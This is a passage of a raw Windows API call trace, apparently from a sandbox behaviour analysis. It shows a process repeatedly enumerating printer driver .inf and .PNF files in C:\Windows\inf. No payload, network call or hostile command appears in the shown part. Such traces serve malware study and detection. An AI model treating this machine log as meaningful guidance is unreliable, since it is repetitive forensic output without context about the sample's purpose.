ftLastAccessTime.dwLowDateTime=0x6cdcdadc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdcdadc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky006.inf", cAlternateFileName="")) returned 1 [0130.573] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.573] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky005.PNF") returned="prnky005.PNF" [0130.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.573] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.573] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f8f4c93, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f8f4c93, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f8f4c93, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3008, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky006.PNF", cAlternateFileName="")) returned 1 [0130.573] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.573] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky006.inf") returned="prnky006.inf" [0130.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.573] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.574] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdf3c3c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cdf3c3c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cdf3c3c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x292c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky007.inf", cAlternateFileName="")) returned 1 [0130.574] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.574] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky006.PNF") returned="prnky006.PNF" [0130.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.574] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.575] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fabdd16, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fabdd16, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fabdd16, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky007.PNF", cAlternateFileName="")) returned 1 [0130.575] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.575] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky007.inf") returned="prnky007.inf" [0130.575] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.575] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.575] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce19d9d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce19d9d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce19d9d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x344c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky008.inf", cAlternateFileName="")) returned 1 [0130.575] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.575] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky007.PNF") returned="prnky007.PNF" [0130.575] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.576] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.576] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fc3aad9, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fc3aad9, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fc3aad9, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3778, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky008.PNF", cAlternateFileName="")) returned 1 [0130.576] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.576] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky008.inf") returned="prnky008.inf" [0130.576] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.576] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.576] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce19d9d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce19d9d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce19d9d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky009.inf", cAlternateFileName="")) returned 1 [0130.576] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.577] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky008.PNF") returned="prnky008.PNF" [0130.577] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.577] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.577] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fd4547b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8fd4547b, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8fd4547b, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3248, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnky009.PNF", cAlternateFileName="")) returned 1 [0130.577] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.577] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky009.inf") returned="prnky009.inf" [0130.577] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.577] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.578] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce3fefd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce3fefd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce3fefd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa426, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle002.inf", cAlternateFileName="")) returned 1 [0130.578] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.578] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnky009.PNF") returned="prnky009.PNF" [0130.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.578] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.578] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dbcbedd, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8dbcbedd, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8dbcbedd, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8c04, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle002.PNF", cAlternateFileName="")) returned 1 [0130.578] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.578] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle002.inf") returned="prnle002.inf" [0130.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.578] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.579] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ce6605d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ce6605d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ce6605d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xb34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle003.inf", cAlternateFileName="")) returned 1 [0130.579] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.579] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle002.PNF") returned="prnle002.PNF" [0130.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.579] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.579] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dc8a5bf, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8dc8a5bf, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8dc8a5bf, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x8ed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle003.PNF", cAlternateFileName="")) returned 1 [0130.579] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.579] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle003.inf") returned="prnle003.inf" [0130.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.579] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.580] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ceb231e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ceb231e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ceb231e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle004.inf", cAlternateFileName="")) returned 1 [0130.580] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.580] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle003.PNF") returned="prnle003.PNF" [0130.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.580] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.580] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dcd687f, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8dcd687f, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8dcd687f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x76a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnle004.PNF", cAlternateFileName="")) returned 1 [0130.580] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.580] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle004.inf") returned="prnle004.inf" [0130.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.581] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.581] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ced847e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ced847e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ced847e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2e9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx002.inf", cAlternateFileName="")) returned 1 [0130.581] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.581] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnle004.PNF") returned="prnle004.PNF" [0130.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.581] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.581] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4581eb, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f4581eb, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f4581eb, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x31ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx002.PNF", cAlternateFileName="")) returned 1 [0130.581] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.582] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx002.inf") returned="prnlx002.inf" [0130.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.582] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.582] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cefe5de, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cefe5de, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cefe5de, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4ba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx003.inf", cAlternateFileName="")) returned 1 [0130.582] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.582] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx002.PNF") returned="prnlx002.PNF" [0130.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.582] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.582] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f588ced, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f588ced, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f588ced, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x3a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx003.PNF", cAlternateFileName="")) returned 1 [0130.584] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.584] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx003.inf") returned="prnlx003.inf" [0130.584] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.584] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.584] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf2473f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf2473f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf2473f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1280, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx004.inf", cAlternateFileName="")) returned 1 [0130.584] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.584] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx003.PNF") returned="prnlx003.PNF" [0130.584] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.584] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.585] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f66d52e, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f66d52e, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f66d52e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx004.PNF", cAlternateFileName="")) returned 1 [0130.585] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.585] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx004.inf") returned="prnlx004.inf" [0130.585] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.585] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.585] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf2473f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf2473f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf2473f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x346e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx005.inf", cAlternateFileName="")) returned 1 [0130.585] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.585] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx004.PNF") returned="prnlx004.PNF" [0130.585] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.585] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.586] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f751d70, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f751d70, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f751d70, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x2e04, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx005.PNF", cAlternateFileName="")) returned 1 [0130.586] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.586] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx005.inf") returned="prnlx005.inf" [0130.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.586] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.586] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf4a89f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd92, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx006.inf", cAlternateFileName="")) returned 1 [0130.586] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.586] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx005.PNF") returned="prnlx005.PNF" [0130.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.587] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.587] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f940f54, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8f940f54, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8f940f54, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnlx006.PNF", cAlternateFileName="")) returned 1 [0130.587] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.587] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnlx006.inf") returned="prnlx006.inf" [0130.587] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.587] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.587] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cf4a89f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cf4a89f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6cf4a89f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x2abc, dwReserved0=0x0, 